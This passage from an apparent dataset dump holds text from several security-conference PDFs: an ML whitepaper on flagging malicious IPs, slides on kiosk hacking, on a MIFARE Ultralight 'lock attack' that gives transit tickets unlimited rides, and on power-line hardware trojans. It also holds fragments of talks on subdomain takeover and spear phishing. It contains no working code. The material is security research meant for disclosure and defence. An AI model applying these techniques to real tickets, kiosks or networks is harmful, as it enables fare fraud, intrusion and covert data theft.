SSRF\n6. Subdomain hijacking with a phone call\nUsing Altdns I identified two domains of interest that were being used for \ndevelopment. I added them to my domain list and forgot about them, about a month \nlater they went offline and I wondered if they were still in use (the records were still \nthere).\n100 USD to make $15k USD (7.5k x 2).. Right on! \nA quick phone call later … \nTakeaways\n●\nThink about how these exposed resources can allow for an attacker to move \nlaterally and/or could undermine security strategies that are in place already.\n●\nIf it’s facing the external web or can be easily accessed from the internal network, \nyou should assume everyone can access it.\n●\nInternal applications ARE problematic, just because it isn’t externally facing \ndoesn’t mean it isn’t a problem.\n●\nIf you have critical/dev/staging/test applications running on obscure subdomains, \ndo not assume that we will not find your obscure subdomain.\n●\nInternet wide scanning costs have been reduced to a $20 vps and anyone that can \nrun a simple tool.\nQuestions?"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":29,"cells":{"text":{"kind":"string","value":"Defending Networks with Incomplete Information: A Machine Learning Approach \nDefCon 21 – 2013 \nPage 1 \nDefending Networks with Incomplete \nInformation: A Machine Learning \nApproach \nIntroduction and Abstract \nLet's face it: we may win some battles, but we are losing the war pretty badly. \nRegardless of the advances in malware and targeted attacks detection \ntechnologies, our top security practitioners can only do so much in a 24 hour \nday. Even less, if you consider they need to eat and sleep. On the other hand, \nthere is a severe shortage of capable people to do \"simple\" security monitoring \neffectively, let alone complex incident detection and response. \nEnter the use of Machine Learning as a way to automatically prioritize and \nclassify potential events and attacks as something can could potentially be \nblocked automatically, is clearly benign, or is really worth the time of your \nanalyst. \nIn this Whitepaper we will present publicly for the first time an actual \nimplementation of those concepts, in the form of a free-to-use web service. It \nleverages OSINT sources and knowledge about the spatial distribution of the \nInternet to generate a fluid and constantly updated classifier that pinpoints areas \nof interest on submitted network traffic and security tool log sources. \nWhitepaper Topics: \nIntroduction and Abstract .................................................................................................................. 1 \nSecurity Monitoring: We are doing it wrong ............................................................................. 2 \nMachine Learning and the Robot Uprising ................................................................................ 2 \nMore attacks = more data = better defenses ............................................................................. 5 \nDesigning a model to detect external agents with malicious behavior ........................ 6 \nData Collection .................................................................................................................................... 6 \nModel Intuition ................................................................................................................................... 6 \nFeature Engineering......................................................................................................................... 7 \nTraining the model ........................................................................................................................... 7 \nResults .................................................................................................................................................... 8 \nFuture Direction and Improvements ............................................................................................ 9 \nAcknowledgments and thanks ......................................................................................................... 9 \nReferences .............................................................................................................................................. 10 \nDefending Networks with Incomplete Information: A Machine Learning Approach \nDefCon 21 – 2013 \nPage 2 \nSecurity Monitoring: We are doing it wrong \nThe amount of security log data that is being accumulated today, be it for \ncompliance or for incident response reasons, is bigger than ever. Given the push \non regulations such as PCI and HIPAA, even smallish and medium companies \nhave a large quantity of machine-generated data stored in log management \nsolutions no one is currently looking at. \nThere is a clear a surplus of data and a shortage of professionals that are capable \nof analyzing this data and making sense of it. This is one of the main criticisms \nthat compliance and \"check-box security\" practices receive, and, of course, it is \nlegitimate criticism because no one is safer for just accumulating this data. \nEven when organizations have more advanced log management and SIEM \nsolutions, there is a great difficulty in prioritizing what should be investigated as \nsecurity events happen. These tools' functionality relies too deeply on very \ndeterministic rules: if something happens in my network X amount of times, flag \nthis as suspicious and or send me an alert. The problems arise from the fact that \nthe somethings and the Xs vary widely between organizations and also evolve (or \ndevolve) over time in an organization itself. It is truly a Sisyphean effort. \nBut this is not exclusively a tool problem. There are a few really talented and \nexperienced professionals that are able to configure one of these systems to \nperform. However, it usually takes a number of months or years and a couple of \nthese SOC \"supermen\" working full-time to make this happen. And now we are \nadding Big Data to SIEM solutions? What chance do we have of finding a needle \non a 1,000 times larger haystack? \nBut how many of these mythical and magical people exist? The new \"security \nanalyst\" must now understand not only the intricacy of attack and defense but \nalso be an accomplished \"data analyst\" or \"data scientist\" in order to work \nthrough massive amounts of data. I am not sure where they are, but I can assure \nyou they are not working 24x7, night or weekend shifts on your local or \nsubcontracted monitoring team. \nWe are doing it wrong. \nThis project introduces the idea of using Machine Learning techniques to mine \ninformation like this and help companies make informed decisions based on this \ntreasure trove of information they have available. \nThe initial algorithms presented on this paper, by itself, may not yet outperform \na (very well) trained analyst but: \n it's certainly better than no action at all; \n it can greatly enhance the analyst's productivity and effectiveness by letting \nhim focus on the small percentage of data that is more likely to be \nmeaningful. \nMachine Learning and the Robot Uprising \nMachine learning is designed to infer relationships from large volumes of data. In \na way, you do not design the classifications routines or the specific algorithm you \nDefending Networks with Incomplete Information: A Machine Learning Approach \nDefCon 21 – 2013 \nPage 3 \nare using, but let the data itself shape how the program should behave. The \nterms learning and artificial intelligence are usually associated with these kinds \nof routines because these processes try to mimic the way the brain learns by \nassociation and repetition. Once you have seen enough chairs, you will know \nwhen you see a completely different chair even if it has a different shape, color or \nis made of a different material. \nMachine learning based systems are being used all around us: \n In sales and marketing, to serve us online ads, to suggest us products that are \nsimilar to the ones we or our friends have bought; \n In financial systems, fueling high-frequency trading applications looking for \npatterns in penny stocks or opportunities for arbitrage; \n In image processing, for example to convert an image of a text into a \ncomputer document (OCR). \nAlas, they are not perfect: we always see an online ad that does not make sense \n(\"what am I going to do with a carbon-fiber pogo stick?\") or the market crashes \non an algorithm bug, but the have a very good performance on problems that are \notherwise intractable due to dataset sizes or response time necessary. \nThere is a huge number of algorithms, techniques, sub-groups and quasi-\nreligious belief systems associated with Machine Learning, but for all intents and \npurposes we will limit our exploration to what are called \"supervised learning\" \nand \"unsupervised learning\" problems. The names are what they seem: \n In Supervised Learning, you are telling the algorithm what to expect from the \ntraining data. In other words, you need to tell it what results it should aim for \nwhen it sees similar data points. This is the basis of neural networks and \nother predictive algorithms; \nFigure 1 - Supervised Learning (source:scikit-learn.github.io/scikit-learn-tutorial/general_concepts.html) \nDefending Networks with Incomplete Information: A Machine Learning Approach \nDefCon 21 – 2013 \nPage 4 \n In Unsupervised Learning, the algorithm just receives the data and tries to \ninfer relationships like similarity and proximity from the observations. This \nis more commonly used to either support anomaly detection (this data point \nis not like the others). It is also used to help figure out what is really relevant \non the data set, on a process that is called \"feature extraction\". \nFigure 2 - Unsupervised learning (source: scikit-learn.github.io/scikit-learn-tutorial/general_concepts.html) \nThe thesis is that we can apply machine learning to parameterize the somethings \nand the Xs I mentioned before with very little effort on the human side. We could \nuse Unsupervised Learning to find patterns in data that could generate new rules \nand relationships between occurrences in our networks. Or we could use \nSupervised Learning with the humans providing examples of \"good” and “bad” \nbehavior in their networks, so that the algorithm can then sift through \ngargantuan amounts of data and suggest other instances that are likely to be \nrelevant in the same way. \nThere is actually a very good use case for Machine Learning in Information \nSecurity, which are spam filters. Nobody really talks about spam filters anymore, \nbecause, in a way, the problem has been satisfactory \"solved\", or actually \nreached an evolutional plateau. You still can't defeat actors that exploit the \nalgorithm directly, such as sending a specially crafted phishing attack that looks \nlike a regular e-mail. This is a more complicated problem, involving game theory \nand rational adversarial modeling [1]. \nRegardless, this is a neglected tool for Information Security by and large, and that \nis an odd choice, because it seems to be a good fit for the challenges we face day \nafter day. \nDefending Networks with Incomplete Information: A Machine Learning Approach \nDefCon 21 – 2013 \nPage 5 \nMore attacks = more data = better defenses \nThe great advantage of Machine Learning over more traditional approaches for \nSecurity Monitoring is that the predictive capabilities of the algorithm improve \nas you provide more data to its training processes. As your number of \nobservations gets much larger than the complexity of the model you are trying to \npredict (usually referred in ML terms as dimensionality or VC-dimension), it gets \nvery efficient indeed. \nLet that sink in for a moment. The more you are attacked, the better your \ndefenses can be. These categories of things have been deemed \"Antifragile\"[2], \nand they benefit from disorder and chaos. And disorder and chaos sound a lot \nlike where we are today in Information Security monitoring. \nThis is a generalization, of course. The model that you choose to be trained, the \nspecific math of the algorithm you choose all have direct impact on its \nperformance and efficiency, and you need to choose the right “features” of the \ndata wisely. But once you have a reasonable result on a smallish dataset, \nexpanding the amount of data it is able to process will improve its efficiency. \nFigure 3 - Theoretical description of expected Ein (classification error in training set of the model) \nand expected Eout (classification error on new data that is predicted using the model). Source: \nCaltech, Learning from Data Course materials \nGiven the amount of log data I mentioned before that is just sitting inside the \norganizations, seems like a good deal to me. \nDefending Networks with Incomplete Information: A Machine Learning Approach \nDefCon 21 – 2013 \nPage 6 \nDesigning a model to detect external agents with malicious \nbehavior \nData Collection \nAs an example of these capabilities, we present an implementation of a \nsupervised learning model that we created based on public summarized log \ninformation made available by the SANS Technology Institute[3], more \nspecifically by the DShield Project API[4]. \nThe DShield project collects firewall logs from contributors all over the world \nand summarizes the blocked connections to pinpoint hosts that are engaging in \nvulnerability exploitation or port scanning in relation to these corporations. \nAlso, the data volumes are impressive, as we can see on the bulk data made \navailable that there is a daily average of 1 million relevant summarized events. \nBack-of-the-envelope calculations have us estimate these summaries come from \n30 million firewall blocks per day. \nSANS offers an open API that provides access summarized anonymous \ninformation from this sources including information or malicious IP addresses, \ndomains, AS, and the such, where malicious has a definition as simple as \"this IP \naddress has been hammering closed ports on these firewalls for the longest time \nnow\". Low hanging fruit it seems, but simple and effective triage. \nModel Intuition \nThis data is routinely used as an OSINT source for blacklisting IP addresses on \nsome SIEM and Monitoring deployments. However, the effectiveness of this \nmeasure is debatable at best, because active attackers, and even scripted worms \nand bots will constantly change IP addresses. \nHowever, they will not move very far. \nThere is a tendency of bad behavior being dependent on the topology of the \nInternet, that is if you have machines that are engaging on a specific type of \nbehavior in the internet, their neighbors (as far as Organizational and ISP \nAutonomous Systems (AS) are concerned) are more likely to engage in this \nbehavior. \nThis thesis is not only supported by common knowledge, one of the greatest \ninspirations of this work was a PhD Thesis paper by Moura called \"Internet Bad \nNeighborhoods\"[5] and a companion paper called \"Internet Bad Neighborhoods \nAggregation\"[6] that talk about some experiments he and his collaborators have \nperformed using traffic from RNP, the Brazilian academic research network. \nSame conclusions can be drawn by Google's Recent Safe Browsing Transparency \nReport [7]. \nBut they will eventually change over time. \nThis information on bad behavior is time-sensitive. If a specific IP address \nattacked your organization a week ago, this is probably relevant information for \nthe monitoring team if they should commit resources to investigating events \nDefending Networks with Incomplete Information: A Machine Learning Approach \nDefCon 21 – 2013 \nPage 7 \nfrom this IP address or nearby IP addresses. If it attacked yesterday, that is \ncertainly more relevant to the team. \nAll Security Monitoring professionals will remember a few occasions when they \nwould be on duty and \"recognized\" an IP address on the dashboard or event \nstream and some kind of \"intuition\" clicked that that was an event they had seen \nbefore and it should be followed up. \nThis is the intuition this algorithm intends to capture, using the data gathered \nfrom the DShield data to predict if an IP address is likely to be malicious or not. \nFeature Engineering \nIn order to create the features we need to the machine learning algorithm, we go \nthrough the following steps: \n1. Initially we cluster the events we have by specific behaviors, such as blocked \nattempts on port 3389, 22 or 80 or port scans (where the same IP address \nattempts to connect to multiple ports). These clusters of events are deemed \npositive for bad behavior in our model, and each of the IP addresses get a \nrank of one for that day. These clusters from this example were arbitrarily \nchosen, but could have been selected by an unsupervised learning algorithm. \n2. After we have identified these \"bad\" IP addresses per day, we need to add up \ntheir scores. However, we need to attenuate the contribution from each day \nas the days pass, as described in our time-based intuition component. For \nthat, we apply an exponential function to the ranks of the IP address on each \ndate, so that it will have a specific half-life. \na. One of the behaviors we get from this is that if you choose a half-life \naround 5 to 7 days the contribution from IP addresses that last \nshowed up their contribution will all but disappear in about 90 days \nor so. This helps the algorithm take in account changes in the Internet \ntopology, or even different threat actors that might be starting to \ntarget the organization or getting bored and moving elsewhere. \n3. Now that we have ranks for each IP address over time, we group them in \nsensible ways to exploit the neighborhood behaviors we discussed on the \nintuition. We compose the IP addresses by arbitrary net blocks (such as /16 \nor /24) and by which organizational and ISP AS they belong, being careful to \nnormalize the rank by the number of possible IP addresses on the range. The \ncontribution from each IP address must be proportional to the total number \nof IP addresses we have on the specific grouping. \nWith these calculations, we have all the features we need to train a classifier \nbased on these IP address ranks where we select a group of these features \nTraining the model \nGiven the rank calculations on each IP addresses, we can select a group of IP \naddresses from the DShield summary events and from contributed blocked logs. \nWe select a few tens of thousands of observations assigning them the label of \nmalicious event. \nDefending Networks with Incomplete Information: A Machine Learning Approach \nDefCon 21 – 2013 \nPage 8 \nHowever, in order to properly train the algorithm, we require benign IP \naddresses as well. Otherwise any algorithm can just infer the trivial case that \n\"everything is malicious\". \nIn other to provide sufficient non-malicious IP addresses to train the model, we \nmade use of the lists of Top 1 Million domains provided by Alexa [8] and the \nGoogle Safe Browsing [7] initiative. These are not perfect sources and malware \ndomains have been known to creep in, especially when you approach the end of \nthe list. We have found that the initial 20.000 to 40.000 entries hold really well, \nand provide a good diversity of origin countries. This helps the model not \ntrivialize on specific regions of the world as bad actors given the predominance \nof US-based log sources on the DShield sampling. \nWith the dataset created with the selected features, it is just a matter of using \nyour favorite classification algorithm. After some experimentation, we have \nselected Support Vector Machines[9], which do a very good job in separating \nnon-linear groups when the features are numeric (which is our case here). We do \nnot go into the details of the specific math machinery behind this, as it would \ndeviate from the point of this document, but this specific algorithm can be \ntrivially implemented with scientific languages or libraries in Java, Python or R \n[10]. \nAs in many problems in analytics and machine learning, getting to a good answer \nis now usually the problem. The machinery is all there, but you need to ask a \ngood question. \nResults \nThe model was trained using a technique called cross-validation.[11] That \nbasically means that part of the training data of the model is not used to train the \nmodel, and is actually used to validate the results from the model trained on the \nother part of the data (which is then called the validation set). So in machine \nlearning terms, if you do a 10-fold cross-validation, you are effectively dividing \nyour dataset in 10 equally sized subsets, and training your model 10 times, \nalways leaving one of the subsets out of the training. You then predict what the \nsubset classification would be if you did not know it already using this recently \ntrained model. The average of the classification errors you get from each subset \n(what percentage you got wrong) is called the cross-validation error, which is a \ngood estimation of the model error on new data. [11] \nFor the model described above, using DShield data for the last 6 months, we are \nable to reach an 83 to 95% of cross-validation accuracy. \n The results vary from the way we cluster the \"bad behavior\" of the data: \nfor instance, it is much more efficient when we are specifically targeting \nports 3389 or port 80, but is on the low ends of the results when we \ntarget port 22. \n There seems to be a high correlation on the amount of observations on \nthe DShield data with this predictive power, as it is very skimpy on port \n22, for example, and many days’ worth of data have to be incorporated \ninto the model for it to have enough data points to beat the \n\"dimensionality issue\" we described before. However we cannot say for \nsure if this is case without more data to test the models with. \nDefending Networks with Incomplete Information: A Machine Learning Approach \nDefCon 21 – 2013 \nPage 9 \nWhen you generalize a model to completely new data, it is normal that a model \nloses accuracy, and sometimes it can be a deal breaker. However as we tested the \ntrained models on log data provided by volunteers on the respective days of the \ntrained models, they showed a 70 to 92%of true positive ratings \n(sensitivity/precision) on items that had previously marked as malicious and \n95% to 99% true negative ratings (specificity/recall) [12]. \nStatistically speaking, that provides an odds likelihood [13]that an event \npinpointed by the model in this example has 13.6 to 18.5 times more likelihood \nto be malicious than one that did not. That on itself could greatly assist the \nmonitoring team that should be reviewing these logs. \nAdditional details on the accuracy, true positive and true negative ratios for the \ndifferent experiments will be made available in the presentation itself during the \nconference. \nFuture Direction and Improvements \nThe main challenges involve the gathering of more historical data to improve the \nperformance of the model further. Additionally, using IP addresses for the \ncorrelation makes the detection susceptible to diversionary techniques such as \nopen proxies, Tor and address spoofing (particularly for UDP), making those \nsources appear malicious as well over time if they are used for malicious \npurposes. \nIn order to develop this concept further, we have put together a project called \nMLSec (Machine Learning Security)[14] at https://www.mlsecproject.org, \ncreated to evolve new Machine Learning algorithms focused on assisting \nInformation Security Monitoring. \nWe set up a free service where individuals and organizations submit logs \nextracted from their SIEMs or firewalls and have access to automated reports \nfrom the algorithms to pinpoint points of interest on the network. Their feedback \non the detected events also helps us fine-tune the algorithms over time. \nThe service is being scaled out to accept more participants to contribute with log \ndata and feature requests to improve the current models and to develop new \nones. \nAcknowledgments and thanks \nThe author would like to thank: \n- \nSans Technology Institute, and their DShield Project \n- \nTeam Cymru, for their IP to ASN Mapping project and Bogon Reference \n- \nMaxMind for their GeoLite data (http://www.maxmind.com) \nDefending Networks with Incomplete Information: A Machine Learning Approach \nDefCon 21 – 2013 \nPage 10 \nReferences \n[1] \"Sci vs. Sci: Attack Vectors for Black-hat Data Scientists, and Possible \nCountermeasures\" - Joseph Turian - \nhttp://strataconf.com/strata2013/public/schedule/detail/27213 \n[2] \"Antifragile: Things That Gain from Disorder\" - Nassim Nicholas Taleb - \nhttp://www.randomhouse.com/book/176227/antifragile-things-that-gain-\nfrom-disorder-by-nassim-nicholas-taleb \n[3] SANS Technology Institute - https://www.sans.org/ \n[4] DShield API - SANS Internet Storm Center - https://isc.sans.edu/api/ \n[5] Internet Bad Neighborhoods – G. Moura \nhttp://www.utwente.nl/en/archive/2013/03/bad_neighbourhoods_on_the_inte\nrnet_are_a_real_nuisance.doc/ \n[6] Internet Bad Neighborhoods Aggregation - \nhttp://wwwhome.cs.utwente.nl/~sperottoa/papers/2012/noms2012_badhood\ns.pdf \n[7]: https://www.google.com/transparencyreport/safebrowsing/ \n[8]: http://www.alexa.com/topsites \n[9]: Support Vector Machines for Classification - Dmitriy Fradkin and Ilya \nMuchnik - http://paul.rutgers.edu/~dfradkin/papers/svm.pdf \n[10] R Core Team (2013). R: A language and environment for statistical \ncomputing. R Foundation for Statistical Computing, Vienna, Austria. URL \nhttp://www.R-project.org/. \n[11] Cross-validation (statistics) - https://en.wikipedia.org/wiki/Cross-\nvalidation_(statistics) \n[12] Sensitivity and Specificity - \nhttp://en.wikipedia.org/wiki/Sensitivity_and_specificity \n[13] Likelihood ratios in diagnostic testing - \nhttp://en.wikipedia.org/wiki/Likelihood_ratios_in_diagnostic_testing \n[14] MLSec Project - http://mlsecproject.org/"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":30,"cells":{"text":{"kind":"string","value":"photo04_04.jpg\nIndex of /\n基本简介\n信息收集\n研究过程\n天马行空\n基本简介\nwho am I ?\n我总是问自己”我是谁”, 直到现在依然努\n力的寻找自我。\nwhy am I here ?\n这是个好的问题, 等我真正明白时在回答你！\n什么是 kiosk ?\n贩卖亭\n台湾那里能找到 ?\nhttp://www.ibon.com.tw\nhttp://www.famiport.com.tw\nhttp://www.hilife.com.tw\nhttp://www.okmart.com.tw\n福客多\nMulti Media Kiosk (MMK)\n信息收集\nhow does a computer process \ndata ?\nOUTPUT\nPROCESSING\nINPUT\nSTORAGE\nFEEDBACK\nnever trust the bullshit which is inputted by user.\n不可预期的输入\n输入是我们的武器, 还有眼睛.\n最终目标,以输入控制处理及输出.\nIs the touch monitor secure enough?\nIs the external device secure enough?\nalways open 7-11\nhttp://blog.timc.idv.tw/posts/ibon-and-the-pirated-windows/\nhttp://pcdou.pixnet.net/blog/post/24249966\nHi立即冲印\n找不到好图,不想伤坏大家的眼睛\n士林萊爾富正妹店員?\n在暗示什么 ?\n挂掉 ?\n全家就是我家\nignore\nPS.电源接都还没接\n加油好吗 XD\n1 2 3\n倒店了吗 ?\nhttp://www.okmart.com.tw\n比较\nTouch Monitor\nExternal Device\nFile type\nApplication Type\nDocument\nPicture ….\nAP/WinXP\nAP/??\nPicture\nAP/WinXP\nIE Browser/WinXP\n○\n○\n＼\n／\n○\n△\n○\n○\n○\n你会选什么下手 ?\n因为有输入,并且可以印 pdf,doc,ppt.. 的档案!\n可控因素\nhow to get the version of AP?\nhow to edit JavaScript with Adobe \nAcrobat\nhow to display some information ?\nactuality\nPDF Reader Vulnerability\n• http://www.adobe.com/support/security/bull\netins/apsb08-13.html\nreboot shellcode ;p\nCollab.coolectEmailInfo()\nDEMO\nNo tech, hacking\ntaskmgr.exe\n键盘太大?\nATTiny45\n山寨版\n天马行空\n有没搞头 ?\n影印不用钱?\n自行印条形码?\n插入3G dongle连结 internet , 内部渗透测\n试?\n封包Sniffer?\nClicklogger + Screen?"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":31,"cells":{"text":{"kind":"string","value":"Who we are\n● bughardy \n(aka Matteo Beccaro)\nbughardy@cryptolab.net\nItalian student with passion of \nIT, networking and pentesting. In \n2013 ended his studies in high \nschool and apply for Politecnico \nof Turin at Computer \nEngineering.\n●\nEagle1753\n(aka Matteo Collura)\neagle1753@onenetbeyond.org\nItalian student, applied for \nPolitecnico of Turin, Electronic \nEngineering. Has a great \npassion for Physics. He is \nstudying with bughardy on WiFi \nnetworks and security. Loves \nto solve challenges.\nHistory of NFC hacks\n● 2008 NFC MIFARE \nCLASSIC exploit, \nfurther in following \nyears.\n● 2011 first hack of NFC \nULTRALIGHT transport \nsystem by U.S. Researchers \nusing the RESET ATTACK\n● 2013 a new hack of \nNFC ULTRALIGHT \ntransport system \nmade by us. We \ncalled it LOCK \nATTACK.\nWhat is MIFARE chip?\nRFID chip designed to work at \n13.56MHz.There are millions of MIFARE chip \ncards worldwide and they belong to several \nvariants:\n• MIFARE CLASSIC\n• MIFARE ULTRALIGHT\n• MIFARE ULTRALIGHT C\n• MIFARE DESFIRE\n• etc\nMore details of: MIFARE CLASSIC \nvulnerabilities\n● Security through obscurity is not security; algorithm \nhas been reversed.\n● By eavesdropping the communication an attacker \nmight recover keys in few minutes.\n● Default keys let an attacker recover all the other keys \nin few seconds without the need of eavesdropping \nany communication.\nMore details of: MIFARE \nULTRALIGHT vulnerabilities\n● Do not have encryption to keep them low cost\n● Often transport companies use a bad \nimplementation\n● They often don't use OTP data to store rides but \ninstead they do on a r/w memory: DATA sector.\n● That is the RESET ATTACK\nYes, but what is MIFARE \nULTRALIGHT?\nHow is it composed?\nPage Address\nByte number\nDecimal\nHex\n0\n1\n2\n3\n0\n0x00\nUID\n1\n0x01\nUID\n2\n0x02\nUID\nINTERNAL\nLOCK \nBYTE\nLOCK \nBYTE\n3\n0x03\nOTP\nOTP\nOTP\nOTP\n4 to 15\n0x04 to 0x0F\nDATA\nWhat is UID?\n● 7 bytes serial number\n● 2 check bytes obtained by XORing the previous \nbytes in this way:\n1st byte: CT \n SN0 \n SN1 \n SN2\n⊕\n⊕\n⊕\n2nd byte: SN3 \n SN4 \n SN5 \n SN6\n⊕\n⊕\n⊕\n● Programmed by manufacturer, so they're read only\nWhat is OTP?\n● Only security function in MIFARE \nULTRALIGHT tickets\n● 4 bytes, all 00 at first (by default)\n● OR operation prevents from turning a bit from \n1 to 0 again\n● Used for storing rides (just need to turn a bit \nfrom 0 into 1). The stamping machine checks \nthe number of “0” left.\nWhat is LOCK sector?\n● 2 bytes\n● Each bit can turn 1 page ( 4 bytes ) into read-\nonly mode\n● The last 3 bits of first lock byte freeze the bits of \nthe lock bytes themselves\nL - 7\nL - 6\nL - 5\nL - 4\nL - OTP\nBL – 10 \nto 15\nBL – 4 to \n9\nBL – OTP \nL – 15 \nL – 14 \nL – 13 \nL – 12 \nL – 11 \nL – 10 \nL – 9 \nL – 8 \nWhat is DATA sector?\n● Biggest sector, 48 bytes\n● It stores details like time (of last stamp), date, \nstation ID, etc\n● In the reset attack, it is used to store the \nnumber of rides left.\n● Working still in progress.\n● Decoding how and which data are encoded to \nthe ticket.\n● We will provide dumps and info (in the Q&A \nsession) if you would like to help us.\nRegarding DATA sector\nThe history of an hack\n• First tests, without knowing how OTP was \nworking.\n• OTP contains the number of rides left!!\n• Attempt to write something over OTP.\nThere is still a long way \n• “One the roa.. Er.. On the bus” test!\n• Stamping more tickets one after the \nother and looking and comparing \ntheir dumps\n• Empiric results about how data is \nstored on tickets\n“On the road” tests..\n• Some empirical results in DATA sector \ndecoding:\n• ::\nBYTES\nDESCRIPTION\nEXAMPLE\n0-24 bytes\nLocked DATA\n01 04 00 00 02 01 02 BE \n40 05 AF 00 00 AE 10 A0 \n61 03 1C 1C B2 2B 61 8E\n25-28\nStamping progressive \nnumber\n43 3B ( 7B 00 )\n29-32\nValidator ID ( guessed ) / \nor Ticket type\n04 F8 00 00\n33-36\nStamping progressive \nnumer\n43 3B ( 7B 00 )\n37-38\nStill not guessed\n00 3B 00 04\n39-40\nTicket type ( guessed ) / \nor data\nF8 AE\n41-48\nTime data ( guessed )\n10 7B B3 02 E6 56\nSeize the day\n•\nAssume that you know where the time (of \nthe last stamp) is stored and how\n•\nUse a NFC phone / NFC reader to change \nthat field (it is in the data field so there \nare no problems)\n•\nIt isn’t so reliable and now we aren’t able to \ndeal with this. \nMission Completed\n• Preventing the machine to write the \nnumber of rides left would turn the \nticket into an unlimited one.\n• The answer is: LOCK BYTES\nThe LOCK ATTACK: Why?\n● Locking the OTP sector we prevent the stamping \nmachine from removing rides stored on our ticket.\n● Each time we stamp the ticket the validator checks if we \nhave rides left\n● If so it writes on DATA sector data time, etc and tries, \nwithout success, to turn bit from 0 to 1 in OTP sector.\n● However...\nOps...\nYes, it is not okay to have always 5 rides on a 5 \nrides-ticket... \nLOL\nHow to fix it?\n● LOCK ATTACK would be easy to be fixed. \n– Firmware update: check whether OTP sector is locked \nor not, if so, just refuse to validate the ticket.\n– Firmware update: try to unlock the sector, but only if \nblock bits are not enabled.\n● TIME ATTACK isn't really easy to be fixed. \n– Communication between validator and ticket is not \nencrypted: easy to be sniffed. \n– Solution: Implementing an encrypted communication\nFuture works...\nWe are actually working on:\n● Rewrite the tool in C/C++ without using external tools\n● Decoding DATA sector: dumps and infos are available in \nQ&A section to anyone who would like to help us.\n● NFC-enabled phone or a proxymark for further studying.\nQuestions?"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":32,"cells":{"text":{"kind":"string","value":"Hardware Trojans\nInfiltrating the Faraday Cage\nNick Waite, Researcher, CVORG, University of Delaware\nStephen Janansky, Researcher, CVORG, University of Delaware\n1\nUpdated slides and papers\nPlease visit us at cvorg.ece.udel.edu for updated \nslides and papers that will be presented at the \nconference. As this topic is still under active \nresearch, these slides will most likely change.\n2\nSome Common Questions\nWhat is a hardware trojan?\nWhy should I care about this?\nDoesn’t my anti-virus protect against this?\nWhy bother with hardware when software is so easy?\n3\nSome Answers\nWe define Hardware Trojans to be malicious alteration of \nhardware, that could, under specific conditions, result in functional \nchanges to the system. \nMost products will go through multiple locations before it reaches \nthe consumer (ie Design - US, HDL - Israel, Fab - China) and \nattacks can occur anywhere along this line\nMost security practices assume the hardware is secure or trusted\nHardware can be easy to manipulate and disguise\nActive TEMPEST anyone?\n4\nQuick Scenario (or is it?)\nNew “super secure” smart card comes out\nBanks adopt as main method of authentication, wide \nadoption takes place\nDOD CAC, EZ-PASS, etc\nDevice weak against 0-day attack\naccidental? intentionally inserted? how did it get there?\nBanks confronted by bad guys\nAdmit flaw in chip - people lose faith in system, banks lose money\nDeny flaw in chip – hope no one else finds out, banks lose money\nPay blackmail – fund/encourage further attacks, no guarantee of good faith\n5\nHardware Trojans\nDC16 Demonstration of Hardware Trojans (Kiamilev/\nHoover)\nOptical Trojan - Blink LED faster than human eye can \nsee, optical to audio reads out key, data, password, etc\nThermal Trojan - Heat up and cool component by \nrunning electricity to it, creating changing IR signature\nRF Trojan - Run current through a wire or pin creating \nEM waves that can be picked up by off the shelf radio\n6\nOur Power Trojans\nUse the power lines to leak data\nSimilar to Barisani/Bianco’s research but still unique\nOffers bidirectional communication\nDoes anyone monitor power lines?\nOther examples of the concept: X10, PowerLine \nEthernet, Broadband over Power, etc\n7\nCrash course in Electricity\nVoltage = Current * Resistance (Ohm’s Law, V=IR)\nPower = Current * Voltage (Power Law, P=IV)\nAC is alternating current (60Hz US, 50Hz Europe)\nDC is direct current (think batteries)\nPower line uses AC, Power supply converts AC to DC\n8\nGetting Data Out - Part 1\nConsuming power means more power draw on AC line\nIncreasing load on CPU increases power usage\nModulate load on AC line by modulating CPU usage\nMeasure power line and read in signal\nData successfully exfiltrated\n9\nGetting Data In - Part 1\nPSU provides DC at: +12V,+5V,+3.3V,-12V,-5V\nConversion: 120VAC=>12VDC=>5VDC=>3.3VDC\n12V rail poorly regulated, used for motors on drives\n5V and 3.3V rails highly regulated\n12V rail effected by variations in 120VAC\nModulate with VARIAC, read out 12V using \nmotherboard sensors\n10\nFaraday’s Cage - the horror!\nA Faraday Cage blocks out all external static electric \nfields\nKeeps out signals (ex: Wifi, Cellphones, Radio, GPS, \netc)\nUsed in Sensitive Compartmented Information Facility \nto make “TEMPEST” proof\nForgot one thing...everything needs power\nCan’t run off batteries forever ;)\n11\nDemo\nVisit http://www.cvorg.ece.udel.edu for video \ndemos created that will be conducted live during \nthe talk. We will also post the demos we \nconduct during out talk.\n12\nAmplified Active TEMPESTs\nCoin new phrases: passive and active TEMPEST to \ndescribe their creation\nPassive TEMPEST: Traditional TEMPEST attack, \naccidental side effects of technology \nActive TEMPEST: Actively created through the \nmodification of hardware to create TEMPEST \nconditions\nThink about all the TEMPEST attacks amplified...\n13\nCan we amplify ours?\n14\nWhy yes, we can! How?\n15\nWith a little help from a few \ndiscreet electronic bits\n16\nGetting Data Out - Part 2\nModify Power Supply\nAttach microcontroller to the AC line\nConnect microcontroller to system\nUse 60Hz signal as carrier and do crazy modulation\nMake it appear as noise, truly disguising itself\nPass data from PSU to CPU disguised as fan speed \nsensor or by modulating internal power rails\n17\nGetting Data In - Part 2\nUse same setup as described previously\nAdd small circuit to demodulate signal (more capacitors \nand resistors? oh no! They might just fit in with the rest)\nFan speed sensor right? Should connect back and \nreport data somehow\nConnect microcontroller to the PSU’s fan connector\nData leaks in using sensors again by reporting varying \nRPMs to motherboard sensor\n18\nDemo\nVisit http://www.cvorg.ece.udel.edu for video \ndemos created that will be conducted live during \nthe talk. We will also post the demos we \nconduct during out talk.\n19\nDo you get the not so \nhidden message?\npay attention! don’t make us bring out tHe bIg guns!\npeople should take a Look aT hardware, it’s not that \nscary\ntrusted coMputIng, needs a serious looK\nlEt’s not live through a battleSTAr galactica scenario...\nMore effort could help defeAT software attacks\nyou can TRUST us, we’re professionals (just ask DOD)\nI just spot a fed! now can you? :) \n20"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":33,"cells":{"text":{"kind":"string","value":"#WeaponizeMe\nWeaponizing Data Science \nfor Social Engineering:\nAutomated E2E Spear Phishing on Twitter\nJohn Seymour | Philip Tully\n1\n#WeaponizeMe\nYou care about phishing on social media\n2\n#WeaponizeMe\nTL;DR\n3\nLevel of Effort\nSuccess Rate\nOur 